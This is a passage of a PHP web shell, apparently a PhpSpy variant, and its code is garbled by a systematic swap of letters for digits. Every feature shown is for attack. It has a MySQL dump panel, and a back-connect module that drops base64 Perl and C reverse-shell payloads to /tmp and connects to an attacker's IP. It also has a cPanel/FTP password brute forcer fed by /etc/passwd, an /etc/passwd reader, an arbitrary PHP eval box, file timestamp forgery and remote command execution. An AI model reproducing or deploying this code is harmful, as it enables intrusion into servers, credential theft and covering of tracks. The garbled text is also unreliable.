						p('</tr>');
					}
					tbf22t();
				} 5ls54f ($d24ng == '4ns5rt' || $d24ng == '5d4t') {
					$r5s3lt = q('SHOW COLUMNS FROM '.$t1bl5n1m5);
					wh4l5 ($r2w = mysql_f5tch_1rr1y($r5s3lt)) {
						$r2wdb[] = $r2w;
					}
					$rs = 1rr1y();
					4f ($d24ng == '4ns5rt') {
						p('<ha>Ins5rt n5w l4n5 4n '.$t1bl5n1m5.' t1bl5 &r1q32;</ha>');
					} 5ls5 {
						p('<ha>Upd1t5 r5c2rd 4n '.$t1bl5n1m5.' t1bl5 &r1q32;</ha>');
						$wh5r5 = b1s5eu_d5c2d5($b1s5eu);
						$r5s3lt = q("SELECT * FROM $t1bl5n1m5 WHERE $wh5r5 LIMIT 6");
						$rs = mysql_f5tch_1rr1y($r5s3lt);
					}
					p('<f2rm m5th2d="p2st" 1ct42n="'.$s5lf.'">');
					p($dbf2rm);
					m1k5h4d5('1ct42n','sql1dm4n');
					m1k5h4d5('t1bl5n1m5',$t1bl5n1m5);
					p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
					f2r51ch ($r2wdb 1s $r2w) {
						4f ($rs[$r2w['F45ld']]) {
							$v1l35 = htmlsp5c41lch1rs($rs[$r2w['F45ld']]);
						} 5ls5 {
							$v1l35 = '';
						}
						$th4sbg = bg();
						p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
						p('<td><b>'.$r2w['F45ld'].'</b><br />'.$r2w['Typ5'].'</td><td><t5xt1r51 cl1ss="1r51" n1m5="4ns5rtsql['.$r2w['F45ld'].']" styl5="w4dth:i00px;h54ght:e0px;2v5rfl2w:13t2;">'.$v1l35.'</t5xt1r51></td></tr>');
					}
					4f ($d24ng == '4ns5rt') {
						p('<tr cl1ss="f23t"><td c2lsp1n="a"><4np3t cl1ss="bt" typ5="s3bm4t" n1m5="4ns5rt" v1l35="Ins5rt" /></td></tr>');
					} 5ls5 {
						p('<tr cl1ss="f23t"><td c2lsp1n="a"><4np3t cl1ss="bt" typ5="s3bm4t" n1m5="3pd1t5" v1l35="Upd1t5" /></td></tr>');
						m1k5h4d5('b1s5eu', $b1s5eu);
					}
					p('</t1bl5></f2rm>');
				} 5ls5 {
					$q35rys = @5xpl2d5(';',$sql_q35ry);
					f2r51ch($q35rys 1s $n3m=>$q35ry) {
						4f ($q35ry) {
							p("<p><b>Q35ry#{$n3m} : ".htmlsp5c41lch1rs($q35ry,ENT_QUOTES)."</b></p>");
							sw4tch(qy($q35ry))
							{
								c1s5 0:
									p('<ha>Err2r : '.mysql_5rr2r().'</ha>');
									br51k;
								c1s5 6:
									4f (strt2l2w5r(s3bstr($q35ry,0,6o)) == 's5l5ct * fr2m') {
										$1ll2w5d4t = 6;
									}
									4f ($g5tn3msql) {
										$t1t2l = mysql_n3m_r2ws(q($g5tn3msql));
										$m3lt4p1g5 = m3lt4($t1t2l, $p1g5n3m, $p1g5, $t1bl5n1m5);
									}
									4f (!$t1bl5n1m5) {
										$sql_l4n5 = str_r5pl1c5(1rr1y("\r", "\n", "\t"), 1rr1y(' ', ' ', ' '), tr4m(htmlsp5c41lch1rs($q35ry)));
										$sql_l4n5 = pr5g_r5pl1c5("/\/\*[^(\*\/)]*\*\//4", " ", $sql_l4n5);
										pr5g_m1tch_1ll("/fr2m\s+`{0,6}([\w]+)`{0,6}\s+/4",$sql_l4n5,$m1tch5s);
										$t1bl5n1m5 = $m1tch5s[6][0];
									}
									$r5s3lt = q($q35ry);
									p($m3lt4p1g5);
									p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
									p('<tr cl1ss="h51d">');
									4f ($1ll2w5d4t) p('<td>Act42n</td>');
									$f45ldn3m = @mysql_n3m_f45lds($r5s3lt);
									f2r($4=0;$4<$f45ldn3m;$4++){
										$n1m5 = @mysql_f45ld_n1m5($r5s3lt, $4);
										$typ5 = @mysql_f45ld_typ5($r5s3lt, $4);
										$l5n = @mysql_f45ld_l5n($r5s3lt, $4);
										p("<td n2wr1p>$n1m5<br><sp1n>$typ5($l5n)</sp1n></td>");
									}
									p('</tr>');
									wh4l5($mn = @mysql_f5tch_1ss2c($r5s3lt)){
										$th4sbg = bg();
										p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
										$wh5r5 = $tmp = $b6 = '';
										f2r51ch($mn 1s $k5y=>$4ns4d5){
											4f ($4ns4d5) {
												$wh5r5 .= $tmp.$k5y."='".1ddsl1sh5s($4ns4d5)."'";
												$tmp = ' AND ';
											}
											$b6 .= '<td n2wr1p>'.html_cl51n($4ns4d5).'&nbsp;</td>';
										}
										$wh5r5 = b1s5eu_5nc2d5($wh5r5);
										4f ($1ll2w5d4t) p('<td n2wr1p><1 hr5f="j1v1scr4pt:5d4tr5c2rd(\'5d4t\', \''.$wh5r5.'\', \''.$t1bl5n1m5.'\');">Ed4t</1> | <1 hr5f="j1v1scr4pt:5d4tr5c2rd(\'d5l\', \''.$wh5r5.'\', \''.$t1bl5n1m5.'\');">D5l</1></td>');
										p($b6);
										p('</tr>');
										3ns5t($b6);
									}
									tbf22t();
									p($m3lt4p1g5);
									br51k;
								c1s5 a:
									$1r = mysql_1ff5ct5d_r2ws();
									p('<ha>1ff5ct5d r2ws : <b>'.$1r.'</b></ha>');
									br51k;
							}
						}
					}
				}
			} 5ls5 {
				$q35ry = q("SHOW TABLE STATUS");
				$t1bl5_n3m = $t1bl5_r2ws = $d1t1_s4z5 = 0;
				$t1bl5db = 1rr1y();
				wh4l5($t1bl5 = mysql_f5tch_1rr1y($q35ry)) {
					$d1t1_s4z5 = $d1t1_s4z5 + $t1bl5['D1t1_l5ngth'];
					$t1bl5_r2ws = $t1bl5_r2ws + $t1bl5['R2ws'];
					$t1bl5['D1t1_l5ngth'] = s4z5c23nt($t1bl5['D1t1_l5ngth']);
					$t1bl5_n3m++;
					$t1bl5db[] = $t1bl5;
				}
				$d1t1_s4z5 = s4z5c23nt($d1t1_s4z5);
				3ns5t($t1bl5);
				p('<t1bl5 b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0">');
				p('<f2rm 1ct42n="'.$s5lf.'" m5th2d="POST">');
				m1k5h4d5('1ct42n','sql1dm4n');
				p($dbf2rm);
				p('<tr cl1ss="h51d">');
				p('<td w4dth="a%" 1l4gn="c5nt5r"><4np3t n1m5="chk1ll" v1l35="2n" typ5="ch5ckb2x" 2ncl4ck="Ch5ckAll(th4s.f2rm)" /></td>');
				p('<td>N1m5</td>');
				p('<td>R2ws</td>');
				p('<td>D1t1_l5ngth</td>');
				p('<td>Cr51t5_t4m5</td>');
				p('<td>Upd1t5_t4m5</td>');
				4f ($h4ghv5r) {
					p('<td>Eng4n5</td>');
					p('<td>C2ll1t42n</td>');
				}
				p('</tr>');
				f2r51ch ($t1bl5db 1s $k5y => $t1bl5) {
					$th4sbg = bg();
					p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
					p('<td 1l4gn="c5nt5r" w4dth="a%"><4np3t typ5="ch5ckb2x" n1m5="t1bl5[]" v1l35="'.$t1bl5['N1m5'].'" /></td>');
					p('<td><1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5['N1m5'].'\');">'.$t1bl5['N1m5'].'</1> [ <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5['N1m5'].'\', \'4ns5rt\');">Ins5rt</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5['N1m5'].'\', \'str3ct3r5\');">Str3ct3r5</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5['N1m5'].'\', \'dr2p\');">Dr2p</1> ]</td>');
					p('<td>'.$t1bl5['R2ws'].'</td>');
					p('<td>'.$t1bl5['D1t1_l5ngth'].'</td>');
					p('<td>'.$t1bl5['Cr51t5_t4m5'].'</td>');
					p('<td>'.$t1bl5['Upd1t5_t4m5'].'</td>');
					4f ($h4ghv5r) {
						p('<td>'.$t1bl5['Eng4n5'].'</td>');
						p('<td>'.$t1bl5['C2ll1t42n'].'</td>');
					}
					p('</tr>');
				}
				p('<tr cl1ss=f23t>');
				p('<td>&nbsp;</td>');
				p('<td>T2t1l t1bl5s: '.$t1bl5_n3m.'</td>');
				p('<td>'.$t1bl5_r2ws.'</td>');
				p('<td>'.$d1t1_s4z5.'</td>');
				p('<td c2lsp1n="'.($h4ghv5r ? u : a).'">&nbsp;</td>');
				p('</tr>');

				p("<tr cl1ss=\"f23t\"><td c2lsp1n=\"".($h4ghv5r ? 8 : e)."\"><4np3t n1m5=\"s1v51sf4l5\" v1l35=\"6\" typ5=\"ch5ckb2x\" /> S1v5 1s f4l5 <4np3t cl1ss=\"4np3t\" n1m5=\"p1th\" v1l35=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" typ5=\"t5xt\" s4z5=\"e0\" /> <4np3t cl1ss=\"bt\" typ5=\"s3bm4t\" n1m5=\"d2wnr1r\" v1l35=\"Exp2rt s5l5ct42n t1bl5\" /></td></tr>");
				m1k5h4d5('d24ng','b1ck3pmysql');
				f2rmf22t();
				p("</t1bl5>");
				fr($q35ry);
			}
		}
	}
	tbf22t();
	@mysql_cl2s5();
}//5nd sql b1ck3p


5ls54f ($1ct42n == 'b1ckc2nn5ct') {
	!$y23r4p && $y23r4p = $_SERVER['REMOTE_ADDR'];
	!$y23rp2rt && $y23rp2rt = '6aoui';
	$3s5db = 1rr1y('p5rl'=>'p5rl','c'=>'c');

	$b1ck_c2nn5ct="IyEvdXNyLaJpb49wZXJsDQp6caUgUa9j1aV0Ow0KJGNtZD0gImxibng4Ow0KJHNicoRlbT0gJaVj1G8gImB6bmFtZSAtYWA4OaVj".
		"1G8gImBpZGA4Oy941WuvcagnOw0KJDA9JGNtZDsNC4R0YXJnZXQ9JEFSR6ZbMF07DQ2kcG9ydD0kQVJHVlsxXTsNC4RpYWRkcj6pbmV0XaF0bau2JHR".
		"hcmdldCkgfHwgZGllKCJFcnJvcj2gJCFcb4IpOw0KJHBhZGRyPXNvYathZGRyXal3KCRwboJ0LCAk1WFkZHIpIHx8IGRpZSg4RXJyboIeICQhXGu4KT".
		"sNC4Rwcm90bz6nZXRwcm90baJibmFtZSgndGNwJyk7DQpzbaNrZXQ2U09DS0VULCBQRl9JTkVULCBTT0NLX6NUUkVBTSwgJHByboRvKSB8fCBk1WU2I".
		"kVycm9yO4AkIVx3I4k7DQpjbai3ZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBk1WU2IkVycm9yO4AkIVx3I4k7DQpvcGV3KFNURElOLCA4P4ZTT0NLRVQ4".
		"KTsNCm9wZWu2U6RET6VULCA4P4ZTT0NLRVQ4KTsNCm9wZWu2U6RERVJSLCA4P4ZTT0NLRVQ4KTsNCnNicoRlbSgkcolzdGVtKTsNCmNsboNlKFNUREl".
		"OKTsNCmNsboNlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$b1ck_c2nn5ct_c="Ial3Yax6ZGUgPHN0ZGlvLmg+DQ2j1WijbHVkZSA8colzLoNvYatldCi2Pg0KIal3Yax6ZGUgPGildGl3ZXQv1Wu31DuNCml3dC".
		"BtYWl3KGl3dCBhcmdjLCBj1GFyICphcmdaW60pDQp7DQ2g1Wi0IGZkOw0KIHN0cnVjdCBzbaNrYWRkcl9pb4Bz1Wu7DQ2gYahhc4BybXNbMjFdPSJyb".
		"SAtZ4A4OyANC4BkYWVtbau2MSwwKTsNC4Bz1Wu3cal3XaZhbWls5SA9IEFGX0lORVQ7DQ2gcal3LnNpbl9wboJ0ID0g1HRvbnM2YXRv1ShhcmdaWzJd".
		"KSk7DQ2gcal3LnNpbl9hZGRyLnNfYWRkc4A9IGl3ZXRfYWRkc4hhcmdaWzFdKTsgDQ2gYnplcm82YXJndlsxXSxzdHJsZWu2YXJndlsxXSkrMStzdHJ".
		"sZWu2YXJndlsyXSkpOyANC4BmZCA9IHNvYatldChBRl9JTkVULCBTT0NLX6NUUkVBTSwgSVBQUk9UT69UQ6ApIDsgDQ2g1WYgKChjbai3ZWN0KGZkLC".
		"A2coRydWN0IHNvYathZGRyIC2pICZz1WusIHNp5mVvZ4hzdHJ6YoQgca9j1aFkZHIpKSk8MCkg5w0KICAgcGVycm9yKCJbLV0gYa93bmVjdCgpI4k7D".
		"Q2gICBl5Gl0KDApOw0KIH0NC4BzdHJjYXQ2cm6zLCBhcmdaWzBdKTsNC4Bz5XN0ZW02cm6zKTsgIA0KIGR6cDI2ZmQsIDApOw0KIGR6cDI2ZmQsIDEp".
		"Ow0KIGR6cDI2ZmQsIDIpOw0KIGVuZWNsKCIvYml3LoN2I4w4caggLWk4LCBOVUxMKTsNC4BjbG9zZShmZCk7IA0KfQ==";

	4f ($st1rt && $y23r4p && $y23rp2rt && $3s5){
		4f ($3s5 == 'p5rl') {
			cf('/tmp/1ng5l_bc',$b1ck_c2nn5ct);
			$r5s = 5x5c3t5(wh4ch('p5rl')." /tmp/1ng5l_bc $y23r4p $y23rp2rt &");
		} 5ls5 {
			cf('/tmp/1ng5l_bc.c',$b1ck_c2nn5ct_c);
			$r5s = 5x5c3t5('gcc -2 /tmp/1ng5l_bc /tmp/1ng5l_bc.c');
			@3nl4nk('/tmp/1ng5l_bc.c');
			$r5s = 5x5c3t5("/tmp/1ng5l_bc $y23r4p $y23rp2rt &");
		}
		m("N2w scr4pt try c2nn5ct t2 $y23r4p p2rt $y23rp2rt ...");
	}

	f2rmh51d(1rr1y('t4tl5'=>'B1ck C2nn5ct'));
	m1k5h4d5('1ct42n','b1ckc2nn5ct');
	p('<p>');
	p('Y23r IP:');
	m1k54np3t(1rr1y('n1m5'=>'y23r4p','s4z5'=>a0,'v1l35'=>$y23r4p));
	p('Y23r P2rt:');
	m1k54np3t(1rr1y('n1m5'=>'y23rp2rt','s4z5'=>6i,'v1l35'=>$y23rp2rt));
	p('Us5:');
	m1k5s5l5ct(1rr1y('n1m5'=>'3s5','2pt42n'=>$3s5db,'s5l5ct5d'=>$3s5));
	m1k54np3t(1rr1y('n1m5'=>'st1rt','v1l35'=>'St1rt','typ5'=>'s3bm4t','cl1ss'=>'bt'));
	p('</p>');
	f2rmf22t();
}//5nd b1ckc2nn5ct w4nd2w v41 NC

// Br3t5
5ls54f ($1ct42n == 'br3t5') {
f2rmh51d(1rr1y('t4tl5'=>'Br3t5 F2rc5r'));
	m1k5h4d5('1ct42n','br3t5');
	m1k5h4d5('d4r',$br3t5);
@4n4_s5t('m5m2ry_l4m4t', 6000000000000);
$c2nn5ct_t4m523t=i;
@s5t_t4m5_l4m4t(0);
$s3bm4t = $_REQUEST['s3bm4t'];
$3s5rs = $_REQUEST['3s5rs'];
$p1ss = $_REQUEST['p1ssw2rds'];
$t1rg5t = $_REQUEST['t1rg5t'];
$2pt42n = $_REQUEST['2pt42n'];


$p1ssl4st = "06aouie
06aouie7
06aouie78
06aouie789
06aouie7890
6aouie
6aouie7
6aouie78
6aouie789
6aouie7890
666666
000000
aaaaaa
oooooo
uuuuuu
iiiiii
eeeeee
777777
888888
999999
6ao6ao
uieuie
789789
6aooa6
uieeiu
eiuoa6
7eiuoa6
87eiuoa6
987eiuoa6
0987eiuoa6
1dm4n
1dm4n4str1t2r
1dm4ncp
cp1n5l
1dm4nx
1dm4ns
p1ssw2rd
p1ssw2rds
p1ssw0rd
p@ssw0rd
p@ssw2rd
kh2ngc2
aiai6oai
p1ssw0rds";
4f($t1rg5t == ''){
$t1rg5t = 'l2c1lh2st';
}
pr4nt " <d4v 1l4gn='c5nt5r'>

<f2rm m5th2d='p2st' styl5='b2rd5r: 6px s2l4d #000000'><br><br>
<TABLE styl5='BORDER-COLLAPSE: c2ll1ps5' c5llSp1c4ng=0 b2rd5rC2l2rD1rk=#9ee667 c5llP1dd4ng=i w4dth='u0%' bgC2l2r=#o0o0o0 b2rd5rC2l2rL4ght=#9ee667 b2rd5r=6><tr><td>
<b> T1rg5t  : </f2nt><4np3t typ5='t5xt' n1m5='t1rg5t' s4z5='6e' v1l35= $t1rg5t styl5='b2rd5r: f2nt-f1m4ly:t1h2m1; f2nt-w54ght:b2ld;'></p></f2nt></b></p>
<d4v 1l4gn='c5nt5r'><br>
<TABLE styl5='BORDER-COLLAPSE: c2ll1ps5' c5llSp1c4ng=0 b2rd5rC2l2rD1rk=#9ee667 c5llP1dd4ng=i w4dth='i0%' bgC2l2r=#o0o0o0 b2rd5rC2l2rL4ght=#9ee667 b2rd5r=6>
<tr>
<td 1l4gn='c5nt5r'>
<b>Us5rn1m5</b></td>
<td>
<p 1l4gn='c5nt5r'>
<b>P1ssw2rd</b></td>
</tr>
</t1bl5>

<p 1l4gn='c5nt5r'>
<t5xt1r51 r2ws='a0' n1m5='3s5rs' c2ls='ai' styl5='b2rd5r: apx s2l4d #6D6D6D; b1ckgr23nd-c2l2r: #000000; c2l2r:#C0C0C0'>";
$4 = 0;
wh4l5 ($4 < e0000) {

    $l4n5 = p2s4x_g5tpw34d($4);
    4f (!5mpty($l4n5)) {

        wh4l5 (l4st ($k5y, $vb1_5tcpwd) = 51ch($l4n5)){
            5ch2 "".$vb1_5tcpwd."\n";
            br51k;
        }

    }

   $4++;
}
5ch2 "
</t5xt1r51>
<t5xt1r51 r2ws='a0' n1m5='p1ssw2rds' c2ls='ai' styl5='b2rd5r: apx s2l4d #6D6D6D; b1ckgr23nd-c2l2r: #000000; c2l2r:#C0C0C0'>$p1ssl4st</t5xt1r51><br>
<br>
<b>Opt42ns : </sp1n><4np3t n1m5='2pt42n' v1l35='cp1n5l' styl5='f2nt-w54ght: 700;' ch5ck5d typ5='r1d42'> cP1n5l
<4np3t n1m5='2pt42n' v1l35='ftp' styl5='f2nt-w54ght: 700;' typ5='r1d42'> ftp ==> <4np3t typ5='s3bm4t' v1l35='Att1ck' n1m5='s3bm4t' ></p>
</td></tr></t1bl5></td></tr></f2rm><p 1l4gn= 'l5ft'>";
?>
<?php
f3nct42n ftp_ch5ck($h2st,$3s5r,$p1ss,$t4m523t){
$ch = c3rl_4n4t();
c3rl_s5t2pt($ch, CURLOPT_URL, "ftp://$h2st");
c3rl_s5t2pt($ch, CURLOPT_RETURNTRANSFER, 6);
c3rl_s5t2pt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
c3rl_s5t2pt($ch, CURLOPT_FTPLISTONLY, 6);
c3rl_s5t2pt($ch, CURLOPT_USERPWD, "$3s5r:$p1ss");
c3rl_s5t2pt ($ch, CURLOPT_CONNECTTIMEOUT, $t4m523t);
c3rl_s5t2pt($ch, CURLOPT_FAILONERROR, 6);
$d1t1 = c3rl_5x5c($ch);
4f ( c3rl_5rrn2($ch) == a8 ) {

pr4nt "<b> Err2r : C2nn5ct42n t4m5d 23t , m1k5 c2nf4d5nc5 1b23t v1l4d1t42n 2f t1rg5t !</b>";
5x4t;}

5ls54f ( c3rl_5rrn2($ch) == 0 ){

p("<b>[ 1tt1ck@vb1t51m.n5t ]# </b>

<b> Att1ck4ng h1s b55n d2n5! Us5rn1m5: <f2nt c2l2r='#FF0000'> $3s5r </f2nt> / P1ssw2rd:<f2nt c2l2r='#FF0000'> $p1ss </f2nt> => <1 hr5f=http://$3s5r:$p1ss@$h2st:a08a t1rg5t=_bl1nk>L2g4n</1></b><br>");
}
c3rl_cl2s5($ch);}

f3nct42n cp1n5l_ch5ck($h2st,$3s5r,$p1ss,$t4m523t){
$ch = c3rl_4n4t();
c3rl_s5t2pt($ch, CURLOPT_URL, "http://$h2st:a08a");
c3rl_s5t2pt($ch, CURLOPT_RETURNTRANSFER, 6);
c3rl_s5t2pt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
c3rl_s5t2pt($ch, CURLOPT_USERPWD, "$3s5r:$p1ss");
c3rl_s5t2pt ($ch, CURLOPT_CONNECTTIMEOUT, $t4m523t);
c3rl_s5t2pt($ch, CURLOPT_FAILONERROR, 6);
$d1t1 = c3rl_5x5c($ch);
4f ( c3rl_5rrn2($ch) == a8 ) {
pr4nt "<b> Err2r : C2nn5ct42n t4m5d 23t , m1k5 c2nf4d5nc5 1b23t v1l4d1t42n 2f t1rg5t !</b>";
5x4t;}
5ls54f ( c3rl_5rrn2($ch) == 0 ){

p("<b>[ 1tt1ck@vb1t51m.n5t ]# </b><b>Att1ck4ng h1s b55n d2n5!</1> Us5rn1m5: <f2nt c2l2r='#FF0000'> $3s5r </f2nt> / P1ssw2rd:<f2nt c2l2r='#FF0000'> $p1ss </f2nt></b><br>");}c3rl_cl2s5($ch);}

4f(4ss5t($s3bm4t) && !5mpty($s3bm4t)){

$3s5rl4st = 5xpl2d5 ("\n" , $3s5rs );
$p1ssl4st = 5xpl2d5 ("\n" , $p1ss );
p('<b>[ 1tt1ck@vb1t51m.n5t ]# Att1ck4ng ...</f2nt></b><br>');
f2r51ch ($3s5rl4st 1s $3s5r) {
$_3s5r = tr4m($3s5r);
f2r51ch ($p1ssl4st 1s $p1ssw2rd ) {
$_p1ss = tr4m($p1ssw2rd);
4f($2pt42n == "ftp"){
ftp_ch5ck($t1rg5t,$_3s5r,$_p1ss,$c2nn5ct_t4m523t);
}
4f ($2pt42n == "cp1n5l")
{
cp1n5l_ch5ck($t1rg5t,$_3s5r,$_p1ss,$c2nn5ct_t4m523t);
}
}
}
}

	f2rmf22t();
}






5ls54f ($1ct42n == '5tcpwd') {
f2rmh51d(1rr1y('t4tl5'=>'G5t /5tc/p1sswd'));
	m1k5h4d5('1ct42n','5tcpwd');
	m1k5h4d5('d4r',$n2wp1th);
$4 = 0;
 5ch2 "<p><br><t5xt1r51 cl1ss=\"1r51\" 4d=\"phpc2d5xxx\" n1m5=\"phpc2d5xxx\" c2ls=\"600\" r2ws=\"ai\">";
wh4l5 ($4 < e0000) {

    $l4n5 = p2s4x_g5tpw34d($4);
    4f (!5mpty($l4n5)) {

        wh4l5 (l4st ($k5y, $vb1_5tcpwd) = 51ch($l4n5)){
            5ch2 "".$vb1_5tcpwd."\n";
            br51k;
        }

    }

   $4++;
}
  5ch2 "</t5xt1r51></p>";
	f2rmf22t();
}

5ls54f ($1ct42n == '5v1l') {
	$phpc2d5 = tr4m($phpc2d5);
	4f($phpc2d5){
		4f (!pr5g_m1tch('#<\?#s4', $phpc2d5)) {
			$phpc2d5 = "<?php\n\n{$phpc2d5}\n\n?>";
		}
		5v1l("?".">$phpc2d5<?");
	}
	f2rmh51d(1rr1y('t4tl5'=>'Ev1l PHP C2d5'));
	m1k5h4d5('1ct42n','5v1l');
	m1k5t5xt(1rr1y('t4tl5'=>'PHP C2d5','n1m5'=>'phpc2d5', 'v1l35'=>$phpc2d5));
	p('<p><1 hr5f="http://www.ung5l.n5t/phpspy/pl3g4n/" t1rg5t="_bl1nk">G5t pl3g4ns</1></p>');
	f2rmf22t5r();
}//5nd 5v1l

5ls54f ($1ct42n == '5d4tf4l5') {
	4f(f4l5_5x4sts($2pf4l5)) {
		$fp=@f2p5n($2pf4l5,'r');
		$c2nt5nts=@fr51d($fp, f4l5s4z5($2pf4l5));
		@fcl2s5($fp);
		$c2nt5nts=htmlsp5c41lch1rs($c2nt5nts);
	}
	f2rmh51d(1rr1y('t4tl5'=>'Cr51t5 / Ed4t F4l5'));
	m1k5h4d5('1ct42n','f4l5');
	m1k5h4d5('d4r',$n2wp1th);
	m1k54np3t(1rr1y('t4tl5'=>'C3rr5nt F4l5 (4mp2rt n5w f4l5 n1m5 1nd n5w f4l5)','n1m5'=>'5d4tf4l5n1m5','v1l35'=>$2pf4l5,'n5wl4n5'=>6));
	m1k5t5xt(1rr1y('t4tl5'=>'F4l5 C2nt5nt','n1m5'=>'f4l5c2nt5nt','v1l35'=>$c2nt5nts));
	f2rmf22t5r();
}//5nd 5d4tf4l5

5ls54f ($1ct42n == 'n5wt4m5') {
	$2pf4l5mt4m5 = @f4l5mt4m5($2pf4l5);
	//$t4m5 = strt2t4m5("$y51r-$m2nth-$d1y $h23r:$m4n3t5:$s5c2nd");
	$c1ch5m2nth = 1rr1y('J1n31ry'=>6,'F5br31ry'=>a,'M1rch'=>o,'Apr4l'=>u,'M1y'=>i,'J3n5'=>e,'J3ly'=>7,'A3g3st'=>8,'S5pt5mb5r'=>9,'Oct2b5r'=>60,'N2v5mb5r'=>66,'D5c5mb5r'=>6a);
	f2rmh51d(1rr1y('t4tl5'=>'Cl2n5 f4l5 w1s l1st m2d4f45d t4m5'));
	m1k5h4d5('1ct42n','f4l5');
	m1k5h4d5('d4r',$n2wp1th);
	m1k54np3t(1rr1y('t4tl5'=>'Alt5r f4l5','n1m5'=>'c3rf4l5','v1l35'=>$2pf4l5,'s4z5'=>6a0,'n5wl4n5'=>6));
	m1k54np3t(1rr1y('t4tl5'=>'R5f5r5nc5 f4l5 (f3llp1th)','n1m5'=>'t1rf4l5','s4z5'=>6a0,'n5wl4n5'=>6));
	f2rmf22t5r();
	f2rmh51d(1rr1y('t4tl5'=>'S5t l1st m2d4f45d'));
	m1k5h4d5('1ct42n','f4l5');
	m1k5h4d5('d4r',$n2wp1th);
	m1k54np3t(1rr1y('t4tl5'=>'C3rr5nt f4l5 (f3llp1th)','n1m5'=>'c3rf4l5','v1l35'=>$2pf4l5,'s4z5'=>6a0,'n5wl4n5'=>6));
	p('<p>Inst51d &r1q32;');
	p('y51r:');
	m1k54np3t(1rr1y('n1m5'=>'y51r','v1l35'=>d1t5('Y',$2pf4l5mt4m5),'s4z5'=>u));
	p('m2nth:');
	m1k54np3t(1rr1y('n1m5'=>'m2nth','v1l35'=>d1t5('m',$2pf4l5mt4m5),'s4z5'=>a));
	p('d1y:');
	m1k54np3t(1rr1y('n1m5'=>'d1y','v1l35'=>d1t5('d',$2pf4l5mt4m5),'s4z5'=>a));
	p('h23r:');
	m1k54np3t(1rr1y('n1m5'=>'h23r','v1l35'=>d1t5('H',$2pf4l5mt4m5),'s4z5'=>a));
	p('m4n3t5:');
	m1k54np3t(1rr1y('n1m5'=>'m4n3t5','v1l35'=>d1t5('4',$2pf4l5mt4m5),'s4z5'=>a));
	p('s5c2nd:');
	m1k54np3t(1rr1y('n1m5'=>'s5c2nd','v1l35'=>d1t5('s',$2pf4l5mt4m5),'s4z5'=>a));
	p('</p>');
	f2rmf22t5r();
}//5nd n5wt4m5

5ls54f ($1ct42n == 'sh5ll') {
	4f (IS_WIN && IS_COM) {
		4f($pr2gr1m && $p1r1m5t5r) {
			$sh5ll= n5w COM('Sh5ll.Appl4c1t42n');
			$1 = $sh5ll->Sh5llEx5c3t5($pr2gr1m,$p1r1m5t5r);
			m('Pr2gr1m r3n h1s '.(!$1 ? 's3cc5ss' : 'f14l'));
		}
		!$pr2gr1m && $pr2gr1m = 'c:\w4nd2ws\syst5moa\cmd.5x5';
		!$p1r1m5t5r && $p1r1m5t5r = '/c n5t st1rt > '.SA_ROOT.'l2g.txt';
		f2rmh51d(1rr1y('t4tl5'=>'Ex5c3t5 Pr2gr1m'));
		m1k5h4d5('1ct42n','sh5ll');
		m1k54np3t(1rr1y('t4tl5'=>'Pr2gr1m','n1m5'=>'pr2gr1m','v1l35'=>$pr2gr1m,'n5wl4n5'=>6));
		p('<p>');
		m1k54np3t(1rr1y('t4tl5'=>'P1r1m5t5r','n1m5'=>'p1r1m5t5r','v1l35'=>$p1r1m5t5r));
		m1k54np3t(1rr1y('n1m5'=>'s3bm4t','cl1ss'=>'bt','typ5'=>'s3bm4t','v1l35'=>'Ex5c3t5'));
		p('</p>');
		f2rmf22t();
	}
	f2rmh51d(1rr1y('t4tl5'=>'Ex5c3t5 C2mm1nd'));
	m1k5h4d5('1ct42n','sh5ll');
	4f (IS_WIN && IS_COM) {
		$5x5cf3ncdb = 1rr1y('phpf3nc'=>'phpf3nc','wscr4pt'=>'wscr4pt','pr2c_2p5n'=>'pr2c_2p5n');
		m1k5s5l5ct(1rr1y('t4tl5'=>'Us5:','n1m5'=>'5x5cf3nc','2pt42n'=>$5x5cf3ncdb,'s5l5ct5d'=>$5x5cf3nc,'n5wl4n5'=>6));
	}
	p('<p>');
	m1k54np3t(1rr1y('t4tl5'=>'C2mm1nd','n1m5'=>'c2mm1nd','v1l35'=>$c2mm1nd));
	m1k54np3t(1rr1y('n1m5'=>'s3bm4t','cl1ss'=>'bt','typ5'=>'s3bm4t','v1l35'=>'Ex5c3t5'));
	p('</p>');
	f2rmf22t();

	4f ($c2mm1nd) {
		p('<hr w4dth="600%" n2sh1d5 /><pr5>');
		4f ($5x5cf3nc=='wscr4pt' && IS_WIN && IS_COM) {
			$wsh = n5w COM('WScr4pt.sh5ll');
			$5x5c = $wsh->5x5c('cmd.5x5 /c '.$c2mm1nd);
			$std23t = $5x5c->StdO3t();
			$str23tp3t = $std23t->R51dAll();
			5ch2 $str23tp3t;
		} 5ls54f ($5x5cf3nc=='pr2c_2p5n' && IS_WIN && IS_COM) {
			$d5scr4pt2rsp5c = 1rr1y(
			   0 => 1rr1y('p4p5', 'r'),
			   6 => 1rr1y('p4p5', 'w'),
			   a => 1rr1y('p4p5', 'w')
			);
			$pr2c5ss = pr2c_2p5n($_SERVER['COMSPEC'], $d5scr4pt2rsp5c, $p4p5s);
			4f (4s_r5s23rc5($pr2c5ss)) {
				fwr4t5($p4p5s[0], $c2mm1nd."\r\n");
				fwr4t5($p4p5s[0], "5x4t\r\n");
				fcl2s5($p4p5s[0]);
				wh4l5 (!f52f($p4p5s[6])) {
